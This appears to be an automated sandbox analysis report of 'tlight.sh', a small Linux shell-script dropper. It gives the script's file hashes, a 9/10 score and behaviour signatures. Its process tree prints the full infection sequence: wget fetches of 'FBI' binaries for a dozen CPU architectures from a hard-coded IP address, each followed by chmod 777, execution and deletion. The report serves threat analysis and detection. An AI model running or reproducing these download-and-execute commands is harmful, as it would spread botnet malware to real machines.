Overview

overview

9

Static

static

tlight.sh

ubuntu-18.04-amd64

9

tlight.sh

debian-9-armhf

9

tlight.sh

debian-9-mips

9

tlight.sh

debian-9-mipsel

9

Resubmissions

22-08-2022 03:18

220822-dt2qesacaj 9

Analysis

  • max time kernel
    0s
  • max time network
    152s
  • platform
    linux_mipsel
  • resource
    debian9-mipsel-en-20211208
  • resource tags

    arch:mipselimage:debian9-mipsel-en-20211208kernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    22-08-2022 03:18

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    tlight.sh

  • Size

    1KB

  • MD5

    894e976a4a3f5e6038168b5c4b78f98d

  • SHA1

    13cd9bc7146037714e546063867353cbb1b6ff03

  • SHA256

    54f9d96c9369f699bff8c8ceae4d6f1376616488696be2d361f8c83034eab238

  • SHA512

    4b3ddf27afd2f04d19d879aedf5e083af6d2511d426b6a9ce991ffcebaa4013890b6ab473c68c36c25717ced8c7ef4e89765fdd8407adc3b00be44256a0f7571

Score
9/10

Malware Config

Signatures

  • Writes file to system bin folder 1 TTPs 1 IoCs
  • Reads runtime system information 1 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/tlight.sh
    /tmp/tlight.sh wget
    1⤵
    • Writes file to tmp directory
    PID:323
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Writes file to system bin folder
      • Reads runtime system information
      • Writes file to tmp directory
      PID:325
    • /usr/bin/wget
      wget http://37.44.238.187/FBI.i486
      2⤵
        PID:329
      • /bin/chmod
        chmod 777 FBI.i486
        2⤵
          PID:331
        • ./FBI.i486
          ./FBI.i486 tlight.i486.wget
          2⤵
            PID:332
          • /bin/rm
            rm -rf FBI.i486
            2⤵
              PID:333
            • /usr/bin/wget
              wget http://37.44.238.187/FBI.x86_64
              2⤵
                PID:334
              • /bin/chmod
                chmod 777 FBI.x86_64
                2⤵
                  PID:336
                • ./FBI.x86_64
                  ./FBI.x86_64 tlight.x86_64.wget
                  2⤵
                    PID:337
                  • /bin/rm
                    rm -rf FBI.x86_64
                    2⤵
                      PID:339
                    • /usr/bin/wget
                      wget http://37.44.238.187/FBI.i586
                      2⤵
                        PID:340
                      • /bin/chmod
                        chmod 777 FBI.i586
                        2⤵
                          PID:342
                        • ./FBI.i586
                          ./FBI.i586 tlight.i586.wget
                          2⤵
                            PID:343
                          • /bin/rm
                            rm -rf FBI.i586
                            2⤵
                              PID:344
                            • /usr/bin/wget
                              wget http://37.44.238.187/FBI.i686
                              2⤵
                                PID:345
                              • /bin/chmod
                                chmod 777 FBI.i686
                                2⤵
                                  PID:347
                                • ./FBI.i686
                                  ./FBI.i686 tlight.i686.wget
                                  2⤵
                                    PID:348
                                  • /bin/rm
                                    rm -rf FBI.i686
                                    2⤵
                                      PID:350
                                    • /usr/bin/wget
                                      wget http://37.44.238.187/FBI.mips
                                      2⤵
                                        PID:351
                                      • /bin/chmod
                                        chmod 777 FBI.mips
                                        2⤵
                                          PID:353
                                        • ./FBI.mips
                                          ./FBI.mips tlight.mips.wget
                                          2⤵
                                            PID:354
                                          • /bin/rm
                                            rm -rf FBI.mips
                                            2⤵
                                              PID:356
                                            • /usr/bin/wget
                                              wget http://37.44.238.187/FBI.mipsel
                                              2⤵
                                                PID:357
                                              • /bin/chmod
                                                chmod 777 FBI.mipsel
                                                2⤵
                                                  PID:359
                                                • ./FBI.mipsel
                                                  ./FBI.mipsel tlight.mipsel.wget
                                                  2⤵
                                                    PID:360
                                                  • /bin/rm
                                                    rm -rf FBI.mipsel
                                                    2⤵
                                                      PID:361
                                                    • /usr/bin/wget
                                                      wget http://37.44.238.187/FBI.arm
                                                      2⤵
                                                        PID:362
                                                      • /bin/chmod
                                                        chmod 777 FBI.arm
                                                        2⤵
                                                          PID:364
                                                        • ./FBI.arm
                                                          ./FBI.arm tlight.arm.wget
                                                          2⤵
                                                            PID:365
                                                          • /bin/rm
                                                            rm -rf FBI.arm
                                                            2⤵
                                                              PID:367
                                                            • /usr/bin/wget
                                                              wget http://37.44.238.187/FBI.arm5
                                                              2⤵
                                                                PID:368
                                                              • /bin/chmod
                                                                chmod 777 FBI.arm5
                                                                2⤵
                                                                  PID:370
                                                                • ./FBI.arm5
                                                                  ./FBI.arm5 tlight.arm5.wget
                                                                  2⤵
                                                                    PID:371
                                                                  • /bin/rm
                                                                    rm -rf FBI.arm5
                                                                    2⤵
                                                                      PID:373
                                                                    • /usr/bin/wget
                                                                      wget http://37.44.238.187/FBI.arm6
                                                                      2⤵
                                                                        PID:374
                                                                      • /bin/chmod
                                                                        chmod 777 FBI.arm6
                                                                        2⤵
                                                                          PID:376
                                                                        • ./FBI.arm6
                                                                          ./FBI.arm6 tlight.arm6.wget
                                                                          2⤵
                                                                            PID:377
                                                                          • /bin/rm
                                                                            rm -rf FBI.arm6
                                                                            2⤵
                                                                              PID:379
                                                                            • /usr/bin/wget
                                                                              wget http://37.44.238.187/FBI.arm7
                                                                              2⤵
                                                                                PID:380
                                                                              • /bin/chmod
                                                                                chmod 777 FBI.arm7
                                                                                2⤵
                                                                                  PID:382
                                                                                • ./FBI.arm7
                                                                                  ./FBI.arm7 tlight.arm7.wget
                                                                                  2⤵
                                                                                    PID:383
                                                                                  • /bin/rm
                                                                                    rm -rf FBI.arm7
                                                                                    2⤵
                                                                                      PID:385
                                                                                    • /usr/bin/wget
                                                                                      wget http://37.44.238.187/FBI.ppc
                                                                                      2⤵
                                                                                        PID:386
                                                                                      • /bin/chmod
                                                                                        chmod 777 FBI.ppc
                                                                                        2⤵
                                                                                          PID:388
                                                                                        • ./FBI.ppc
                                                                                          ./FBI.ppc tlight.ppc.wget
                                                                                          2⤵
                                                                                            PID:389
                                                                                          • /bin/rm
                                                                                            rm -rf FBI.ppc
                                                                                            2⤵
                                                                                              PID:391
                                                                                            • /usr/bin/wget
                                                                                              wget http://37.44.238.187/FBI.m68k
                                                                                              2⤵
                                                                                                PID:392
                                                                                              • /bin/chmod
                                                                                                chmod 777 FBI.m68k
                                                                                                2⤵
                                                                                                  PID:394
                                                                                                • ./FBI.m68k
                                                                                                  ./FBI.m68k tlight.m68k.wget
                                                                                                  2⤵
                                                                                                    PID:395
                                                                                                  • /bin/rm
                                                                                                    rm -rf FBI.m68k
                                                                                                    2⤵
                                                                                                      PID:396
                                                                                                    • /usr/bin/wget
                                                                                                      wget http://37.44.238.187/FBI.sh4
                                                                                                      2⤵
                                                                                                        PID:397
                                                                                                      • /bin/chmod
                                                                                                        chmod 777 FBI.sh4
                                                                                                        2⤵
                                                                                                          PID:399
                                                                                                        • ./FBI.sh4
                                                                                                          ./FBI.sh4 tlight.sh4.wget
                                                                                                          2⤵
                                                                                                            PID:400
                                                                                                          • /bin/rm
                                                                                                            rm -rf FBI.sh4
                                                                                                            2⤵
                                                                                                              PID:402

                                                                                                          Network

                                                                                                          MITRE ATT&CK Enterprise v6

                                                                                                          Replay Monitor

                                                                                                          Loading Replay Monitor...

                                                                                                          Downloads